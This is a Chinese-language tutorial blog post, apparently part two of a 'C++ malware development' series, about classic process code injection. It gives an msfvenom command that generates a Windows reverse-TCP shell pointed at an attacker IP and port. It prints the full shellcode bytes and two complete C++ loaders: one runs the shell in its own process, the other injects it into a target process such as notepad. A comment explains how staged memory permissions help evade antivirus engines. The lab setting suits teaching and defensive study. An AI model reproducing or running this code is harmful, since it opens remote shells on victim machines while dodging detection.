C++恶意软件开发(二)经典代码注入流程

发布时间 2023-04-17 16:11:10作者: 顾北清

什么是代码注入?为什么需要代码注入?

代码注入是指将一段恶意代码注入到正在运行的进程中,以便实现对该进程的控制和操作。通过代码进程注入,攻击者可以在运行中的进程中执行自己的代码,从而可以窃取敏感信息、控制系统或执行其他恶意行为。
攻击者可以使用各种技术来进行代码进程注入攻击,包括使用已知的漏洞、使用API hooking和DLL注入等技术。这些技术可以让攻击者将自己的代码注入到正在运行的进程中,并操纵进程执行恶意操作。

演示环境:使用kali虚拟机作为攻击者(172.18.53.24),物理机win10作为受害者(172.18.53.14)

调试payload

首先在攻击者的机器上使用msfvenom生成反弹shell,也就是接下来需要的payload,LHOSTLPORT分别为攻击者的IP地址和监听端口。
使用msfvenom生成反弹shell:msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.18.53.24 LPORT=4444 -f c

C++恶意代码的主要逻辑为:

  • (1)在进程中分配新的buffer
  • (2)将payload复制到buffer中
  • (3)将buffer设置为可执行
  • (4)执行payload

这里涉及的函数有:
(1)VirtualAlloc:用于在当前进程的虚拟地址空间中分配指定大小的内存块。

LPVOID VirtualAlloc(
  LPVOID lpAddress,  // 要分配的内存区域的起始地址
  SIZE_T dwSize,  // 要分配的内存区域的大小(以字节为单位)
  DWORD  flAllocationType, // 内存分配类型
  DWORD  flProtect  // 内存保护类型
);

(2)RtlMoveMemory:用于在内存中移动数据。

void RtlMoveMemory(
  void*  Destination,  // 指向目标内存区域的指针,即数据移动的目的地址
  const void*  Source,  // 指向源内存区域的指针,即要移动的数据的起始地址
  size_t  Length  // 要移动的数据的长度(以字节为单位)
);

(3)VirtualProtect:用于修改虚拟内存区域保护属性的函数。

BOOL VirtualProtect(
  LPVOID lpAddress,  // 要修改访问权限的内存区域的起始地址
  SIZE_T dwSize,  // 要修改访问权限的内存区域的大小(以字节为单位)
  DWORD  flNewProtect,  // 新的内存保护属性
  PDWORD lpflOldProtect  // 指向一个DWORD变量的指针,用于保存修改前的内存保护属性
);

(4)CreateThread:用于创建一个新的线程并开始执行。

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,  // 线程安全属性,如果为NULL,线程将使用默认的安全属性
  SIZE_T                  dwStackSize,  // 线程栈的大小,如果为0,线程将使用默认的栈大小
  LPTHREAD_START_ROUTINE  lpStartAddress,  // 线程的启动函数地址,这个函数将被新线程执行
  LPVOID                  lpParameter,  // 传递给线程启动函数的参数,如果不需要参数,可以传递NULL
  DWORD                   dwCreationFlags,  // 线程的创建标志
  LPDWORD                 lpThreadId  // 用于存储新线程标识符的变量地址
);

完整代码如下:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// payload
unsigned char my_payload[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xac\x12\x35\x18\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

// 计算payload长度 
unsigned int my_payload_len = sizeof(my_payload);

int main(void){
	void *my_payload_mem;	// 给payload分配空间
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	
	// (1)在进程中分配新的buffer
        // 此处将分配内存设置为PAGE_READWRITE而不是PAGE_EXECUTE_READWRITE是因为设置为可读写执行
        // 会被一些搜索工具或反病毒引擎发现,所以将这个操作拆分为先读写,再改为可执行
	my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	// (2)将payload复制到buffer中
	RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
	
	// (3)将buffer设置为可执行
	rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
	
	if (rv != 0){
		// 执行payload
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
		WaitForSingleObject(th, -1);
	}
	return 0;
}

在攻击者机器上监听4444端口:

然后,编译运行上面的代码:

可以在攻击者机器上看到shell弹回来了:

并且可以在受害者机器上使用Process Hacker看到,受害者机器上建立了一个到攻击者机器的网络连接:

代码注入

将payload注入到notepad进程中(这里我尝试了计算器没成功,不知道为啥),步骤如下:

  • (1)在目标进程中分配大于payload大小的内存
  • (2)将payload复制到目标进程中
  • (3)在目标进程中执行payload

这里涉及的函数有:
(1)OpenProcess:用于打开指定进程的句柄,以便在进程间进行通信或操作。

HANDLE OpenProcess(
  DWORD dwDesiredAccess,  // 访问权限
  BOOL  bInheritHandle,   // 是否继承句柄
  DWORD dwProcessId       // 进程ID
);

(2)VirtualAllocEx:为远程进程分配内存缓冲区,这个函数可以用于实现共享内存,动态加载DLL文件,以及创建线程栈等操作。

LPVOID VirtualAllocEx(
  HANDLE hProcess,       // 目标进程句柄
  LPVOID lpAddress,      // 分配的内存地址
  SIZE_T dwSize,         // 分配的内存大小
  DWORD flAllocationType,// 内存分配类型
  DWORD flProtect        // 内存保护属性
);

(3)WriteProcessMemory:在进程之间复制数据,该函数可用于在不同进程之间共享数据,或者在同一进程中的不同线程之间共享数据。:

BOOL WriteProcessMemory(
  HANDLE  hProcess,      // 目标进程句柄
  LPVOID  lpBaseAddress, // 目标内存地址
  LPCVOID lpBuffer,      // 写入数据的缓冲区
  SIZE_T  nSize,         // 写入数据的大小
  SIZE_T  *lpNumberOfBytesWritten // 实际写入数据的大小
);

(4)CreateRemoteThread:用于在指定进程中创建一个远程线程,并在远程线程中执行指定的函数。该函数可用于在不同进程之间执行函数,或者在同一进程中的不同线程之间执行函数。

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,         // 目标进程句柄
  LPSECURITY_ATTRIBUTES lpThreadAttributes,// 线程安全属性
  SIZE_T                 dwStackSize,      // 线程栈大小
  LPTHREAD_START_ROUTINE lpStartAddress,   // 线程入口地址
  LPVOID                 lpParameter,      // 线程参数
  DWORD                  dwCreationFlags,  // 线程创建标志
  LPDWORD                lpThreadId        // 线程ID
);

整体代码如下:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// payload
unsigned char my_payload[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xac\x12\x35\x18\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

// 计算payload长度 
unsigned int my_payload_len = sizeof(my_payload);

int main(int argc, char* argv[]){
	HANDLE ph;	// 进程句柄
	HANDLE rt;	// 目标线程
	HANDLE rb;	// 远程内存 
	
	// 打印进程PID
	printf("PID:%i", atoi(argv[1])); 
	// 打开进程 
	ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	
	// 在目标进程中分配内存
	rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	
	// 在进程间复制数据
	WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);	
	// 启动一个新的线程
	rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
  CloseHandle(ph);
	
	return 0;
}

在攻击者机器上监听4444端口:

然后在受害者机器上打开notepad,查看PID,然后运行恶意程序并输入PID进行注入:

回到攻击者机器上,shell成功弹回来了:

通过process hacker查看网络,可以看到受害者机器建立了与攻击者机器的网络连接:

通过process hacker查看notepad的内存,可以看到我们分配的缓冲区,其中可以看到加载了负责套接字管理的ws2_32.dll模块: